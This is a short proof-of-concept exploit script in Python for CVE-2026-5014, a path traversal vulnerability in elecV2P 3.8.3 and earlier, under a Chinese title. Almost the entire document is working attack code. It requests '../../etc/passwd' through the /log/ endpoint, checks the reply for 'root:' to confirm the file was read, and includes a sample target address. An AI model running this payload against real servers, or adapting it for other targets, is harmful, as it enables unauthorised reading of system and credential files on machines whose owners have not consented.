CVE-2026-5014 elecV2P路径遍历漏洞

import requests # PoC for CVE-2026-5014: Path Traversal in elecV2P # Target: elecV2P <= 3.8.3 def check_poc(target_url): # Attempt to read /etc/passwd (Linux) or win.ini (Windows) # Using path traversal sequences '../' to escape the /log/ directory traversal_payload = "../../etc/passwd" full_url = f"{target_url}/log/{traversal_payload}" try: response = requests.get(full_url, timeout=5) if response.status_code == 200: if "root:" in response.text: print(f"[+] Vulnerable! Successfully read /etc/passwd from {target_url}") return True else: print(f"[-] Target reachable but payload signature not found.") else: print(f"[-] Target returned status code: {response.status_code}") except Exception as e: print(f"[!] Error connecting to target: {e}") return False # Usage example # target = "http://192.168.1.100:8000" # check_poc(target)